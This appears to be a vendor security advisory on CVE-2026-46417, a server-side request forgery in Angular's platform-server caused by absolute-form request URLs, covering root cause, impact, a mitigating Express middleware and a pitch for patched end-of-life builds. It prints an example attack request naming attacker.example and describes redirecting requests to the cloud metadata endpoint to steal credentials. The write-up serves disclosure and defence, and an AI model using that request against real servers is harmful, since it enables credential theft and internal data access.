CVE-2026-46417: Angular Platform-Server SSRF via Hostname Hijacking

On May 19, 2026, the Angular team published GHSA-rfh7-fxqc-q52v, assigned CVE-2026-46417, a High severity Server-Side Request Forgery (SSRF) vulnerability in @angular/platform-server .  An unauthenticated remote attacker can pass an absolute-form URL (e.g., http://evil.com/) into Angular's SSR rendering entry points, causing the internal ServerPlatformLocation to adopt the attacker-controlled hostname as the current origin, which redirects any subsequent relative HttpClient request to that hostname. Upstream fixes ship in 19.2.22, 20.3.21, 21.2.13, and 22.0.0-next.12. Angular 18.2.14 and every earlier major (4 through 17) are affected with no upstream patch.

‍

What is CVE-2026-46417?

CVE-2026-46417 is a Server-Side Request Forgery (SSRF) vulnerability (CWE-918: Server-Side Request Forgery) in @angular/platform-server, the package that powers Angular's server-side rendering pipeline.

The flaw lives in how Angular's rendering engine processes the url parameter passed to renderModule and renderApplication. Express, Fastify, and other Node frameworks customarily pass req.url directly into these entry points. When that URL is in absolute form (containing a scheme and authority) instead of the usual relative path, Angular's URL parser extracts the hostname from the request itself rather than from the application's expected origin. ServerPlatformLocation then treats that attacker-supplied hostname as the application's current location.

Three downstream effects follow:

• Every relative HttpClient.get('/api/...') call performed during SSR resolves against the attacker-controlled hostname and issues a network request to that hostname instead of the legitimate backend.
• Server-rendered references to PlatformLocation.hostname leak the attacker's hostname into the rendered HTML, enabling reflected content injection in cached responses and CDN-served pages.
• Outbound requests originate from the SSR node's network position, which is typically inside a VPC with access to internal services and cloud metadata endpoints.

This is the third Angular SSR origin-trust vulnerability disclosed in 2026, following CVE-2026-27739 and CVE-2026-41423. The pattern is consistent: Angular's SSR pipeline trusts the request URL as the source of truth for the application's origin, and any framework that lets untrusted input reach that URL inherits the hijack.

Exploit preconditions:

• The application uses Angular SSR via renderModule, renderApplication, or CommonEngine (from @angular/ssr).
• The Node server passes the incoming req.url (or equivalent) directly into the rendering call without normalizing absolute-form URLs to relative paths.
• The application makes any relative HttpClient request during SSR (for example, fetching content from its own API for a server-rendered page).

These conditions describe the default scaffolding generated by ng add @angular/ssr and most production SSR deployments. No exotic configuration is required for exploitation.

Root cause: ServerPlatformLocation trusts the request URL as the origin

When an Angular SSR request arrives, the server framework hands the request URL to the rendering call:

// Typical Express SSR entry point
app.get('*', (req, res) => {
  renderApplication(bootstrap, {
    document: indexHtml,
    url: `http://localhost:4000${req.url}`,  // or req.url directly
  }).then(html => res.send(html));
});

Inside @angular/platform-server, that url is parsed into a URL object. The hostname extracted from the URL becomes the basis for ServerPlatformLocation.hostname, and the parsed origin becomes the base for any relative request issued during the render.

When req.url is well-behaved (e.g., /products/42), the resulting URL is http://localhost:4000/products/42 and the origin stays correct. But a malicious request can send an absolute-form URL in the request line:

GET http://attacker.example/products/42 HTTP/1.1
Host: legitimate-app.example

Express exposes the full absolute URL as req.url in this case. Once that string flows into renderApplication, Angular's URL parser reads attacker.example as the origin. From that point forward, every relative HttpClient request resolves against attacker.example and is dispatched to the attacker's server.

The upstream fix introduces an allowlist mechanism at the bootstrap layer. renderModule and renderApplication now accept an allowedHosts option that supports exact hostnames, wildcards (*.example.com), or * to allow all. The rendering engine validates the parsed hostname against this list before proceeding. If the hostname does not match, bootstrap throws a host validation error and the render is aborted before any HttpClient request is issued.

‍

What an attacker can do

A successful exploit gives the attacker control over the destination of every relative HttpClient call performed during SSR. The concrete impact varies with the SSR node's network position, but the common attack scenarios are:

• Cloud metadata service access. SSR nodes deployed in AWS, GCP, or Azure typically have network reach to the cloud metadata endpoint (http://169.254.169.254/). An attacker can redirect SSR HttpClient calls to that endpoint and read instance metadata, including short-lived IAM credentials attached to the SSR node's role.
• Internal API enumeration and data exfiltration. Most SSR deployments call backend APIs that are not exposed to the public internet (database APIs, admin endpoints, internal microservices). The SSR node sits inside the VPC and can reach those endpoints. An attacker can redirect HttpClient calls to internal hostnames and read responses through the rendered HTML returned to the client.
• Authorization header replay. Authorization headers, API keys, or session tokens transmitted with relative HttpClient requests during SSR are sent to the attacker-controlled hostname along with the request, exposing them to the attacker's server.
• Cache poisoning via rendered output. PlatformLocation.hostname and any derived URLs in the rendered HTML reflect the attacker's hostname. If the rendered response is cached by a CDN keyed on path (not Host header), subsequent users may receive the poisoned HTML.

Log poisoning and SIEM pollution. The attacker-controlled hostname propagates into server access logs, APM traces, and error-reporting pipelines that capture the SSR origin. This complicates incident response and creates noisy false positives.

Angular 18 reached full end-of-life ahead of Angular 22's release, and Angular 4 through 17 reached EOL earlier. The Angular open source project does not issue security patches to EOL versions. Organizations running Angular SSR on any of these versions have no fix from the upstream project.

If your application uses @angular/platform-server on Angular 18 or earlier, NES for Angular delivers a remediated drop-in replacement that resolves CVE-2026-46417 on versions the Angular team no longer maintains.

‍

A reference Express middleware adapted from the upstream advisory:

const TRUSTED_HOST = 'legitimate-app.example';

app.use((req, res, next) => {
  if (req.headers.host !== TRUSTED_HOST) {
    return res.status(403).send('Forbidden');
  }
  // Strip any absolute-form prefix before SSR
  const path = req.url.replace(/^https?:\/\/[^/]+/, '') || '/';
  req.url = path;
  next();
});

This middleware is a stopgap, not a long-term fix. Once on a patched Angular version, configure the allowedHosts option on renderModule / renderApplication and remove the manual normalization.

‍

Related CVEs

CVE-2026-46417 is the third Angular SSR origin-trust vulnerability disclosed in 2026. Each addresses a different path by which untrusted input reaches the SSR engine's perceived origin:

• CVE-2026-27739: SSRF and header injection in Angular's SSR request handling pipeline.
• CVE-2026-41423: SSRF in @angular/platform-server via backslash URL normalization (protocol-relative and /\-prefixed paths).
• CVE-2026-46417 (this advisory): SSRF via absolute-form URL hostname hijacking.

Organizations running Angular SSR on EOL versions should treat all three as related: the same SSR entry points are affected by each, and any remediation strategy needs to cover all three regression paths.

Taking action

CVE-2026-46417 is a clear example of why end-of-life software compounds risk. The vulnerability affects every Angular version ever released, but only versions 19 through 22 received upstream patches. Angular 18 reached full end-of-life ahead of Angular 22's release, and Angular 4 through 17 reached EOL earlier. Organizations running Angular SSR on any of these versions are exposed with no fix from the open source project.

If your organization depends on Angular at scale, especially on EOL versions, NES for Angular delivers secure drop-in replacements for Angular v4 through v19, including a remediated build for CVE-2026-46417 on versions the Angular team no longer maintains. The same product line resolves CVE-2026-27739 and CVE-2026-41423, so a single remediation path covers the full 2026 Angular SSR SSRF series.

Start with the HeroDevs vulnerability directory to confirm coverage for your version, or contact our team to discuss a deployment plan for EOL Angular workloads in your environment.